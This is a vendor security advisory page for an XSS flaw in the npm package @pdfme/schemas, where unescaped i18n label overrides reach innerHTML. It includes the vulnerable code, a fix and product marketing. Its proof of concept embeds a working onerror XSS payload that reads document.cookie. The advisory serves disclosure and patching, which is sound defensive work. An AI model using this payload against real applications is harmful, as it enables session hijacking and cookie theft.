How severe is GHSA-xgx4-2wgv-4jhm?

GHSA-xgx4-2wgv-4jhm has a CVSS score of 4.4/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-xgx4-2wgv-4jhm?

GHSA-xgx4-2wgv-4jhm affects the following packages: @pdfme/schemas (npm). Ecosystems affected: npm.

How do I fix GHSA-xgx4-2wgv-4jhm?

Update @pdfme/schemas to 5.5.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgx4-2wgv-4jhm is resolved across your whole dependency graph.

How do I detect GHSA-xgx4-2wgv-4jhm in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @pdfme/schemas. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-xgx4-2wgv-4jhm if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-xgx4-2wgv-4jhm?

O3 pinpoints whether GHSA-xgx4-2wgv-4jhm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-xgx4-2wgv-4jhm actively exploited in the wild?

No public exploit code has been indexed for GHSA-xgx4-2wgv-4jhm yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-xgx4-2wgv-4jhm published, and has it been updated?

GHSA-xgx4-2wgv-4jhm was published on March 20, 2026 and was last updated on March 20, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

GHSA-xgx4-2wgv-4jhm

MEDIUM

PDFME has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel

Published

Mar 20, 2026

Updated

Mar 20, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Blast Radius

1 pkg affected

📦@pdfme/schemas

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The multiVariableText property panel in @pdfme/schemas constructs HTML via string concatenation and assigns it to innerHTML using unsanitized i18n label values. An attacker who can control label overrides passed through options.labels can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no {variables} in its text.

Details

When a user selects a multiVariableText schema field that contains no {variable} placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into innerHTML.

Vulnerable sink — packages/schemas/src/multiVariableText/propPanel.ts:65-71:

// Use safe string concatenation for innerHTML
const typingInstructions = i18n('schemas.mvt.typingInstructions');
const sampleField = i18n('schemas.mvt.sampleField');
para.innerHTML =
  typingInstructions +
  ` <code style="color:${safeColorValue}; font-weight:bold;">{` +
  sampleField +
  '}</code>';

The comment on line 64 claims "safe string concatenation" but the result is assigned to innerHTML with no HTML escaping applied to typingInstructions or sampleField.

i18n lookup has no escaping — packages/ui/src/i18n.ts:903:

export const i18n = (key: keyof Dict, dict?: Dict) => (dict || getDict(DEFAULT_LANG))[key];

This is a plain dictionary lookup — no HTML encoding or sanitization.

Label override via deep merge — packages/ui/src/components/AppContextProvider.tsx:57-63:

let dict = getDict(lang);
if (options.labels) {
  dict = deepMerge(
    dict as unknown as Record<string, unknown>,
    options.labels as unknown as Record<string, unknown>,
  ) as typeof dict;
}

User-supplied options.labels values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as z.record(z.string(), z.string()) — enforcing type but not content safety.

Inconsistency: The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.

PoC

Create a minimal app that passes attacker-controlled labels:

<html>
<body>
<div id="designer-container" style="width:100%;height:700px;"></div>
<script type="module">
import { Designer } from '@pdfme/ui';
import { multiVariableText } from '@pdfme/schemas';

const template = {
  basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] },
  schemas: [[{
    type: 'multiVariableText',
    name: 'field1',
    text: 'plain text with no variables',
    content: '{}',
    variables: [],
    position: { x: 20, y: 20 },
    width: 100,
    height: 20,
    readOnly: true,
  }]],
};

new Designer({
  domContainer: document.getElementById('designer-container'),
  template,
  plugins: { multiVariableText },
  options: {
    labels: {
      'schemas.mvt.typingInstructions':
        '<img src=x onerror="document.title=document.cookie">Inject: ',
      'schemas.mvt.sampleField': 'safe',
    },
  },
});
</script>
</body>
</html>

Open the application in a browser.
Click on the multiVariableText field (field1) in the Designer canvas to select it.
Observe: The property panel renders the injected HTML. The onerror handler executes, setting document.title to the page's cookies. In a real attack, this would exfiltrate session tokens to an attacker-controlled server.

Impact

Session hijacking: Attacker-injected JavaScript can steal authentication cookies and tokens from any user who opens the Designer.
DOM manipulation: The injected script runs in the application's origin, allowing phishing overlays, form hijacking, or data exfiltration.
Stored XSS potential: In multi-tenant applications where labels are stored in a database or fetched from an API, a single poisoned label entry affects all users who subsequently open the Designer.
Scope change: The XSS payload executes in the embedding application's browser context, escaping the pdfme component's security boundary.

Recommended Fix

Replace innerHTML with safe DOM APIs in packages/schemas/src/multiVariableText/propPanel.ts:

// BEFORE (vulnerable):
para.innerHTML =
  typingInstructions +
  ` <code style="color:${safeColorValue}; font-weight:bold;">{` +
  sampleField +
  '}</code>';

// AFTER (safe):
para.appendChild(document.createTextNode(typingInstructions + ' '));
const codeEl = document.createElement('code');
codeEl.style.color = safeColorValue;
codeEl.style.fontWeight = 'bold';
codeEl.textContent = `{${sampleField}}`;
para.appendChild(codeEl);

This ensures that i18n label values are always treated as text content, never parsed as HTML, regardless of their source.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`@pdfme/schemas`	all versions	5.5.10

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @pdfme/schemas. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @pdfme/schemas to 5.5.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgx4-2wgv-4jhm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xgx4-2wgv-4jhm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xgx4-2wgv-4jhm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The multiVariableText property panel in `@pdfme/schemas` constructs HTML via string concatenation and assigns it to `innerHTML` using unsanitized i18n label values. An attacker who can control label overrides passed through `options.labels` can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no `{variables}` in its text. ## Details When a user selects a multiVariableText schema field that contains no `{variable}` placeholders, the property panel renders instructional text by concatenating i18n-

O3 Security · Impact-Aware SCA

Is GHSA-xgx4-2wgv-4jhm in your dependencies?

O3 detects GHSA-xgx4-2wgv-4jhm across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works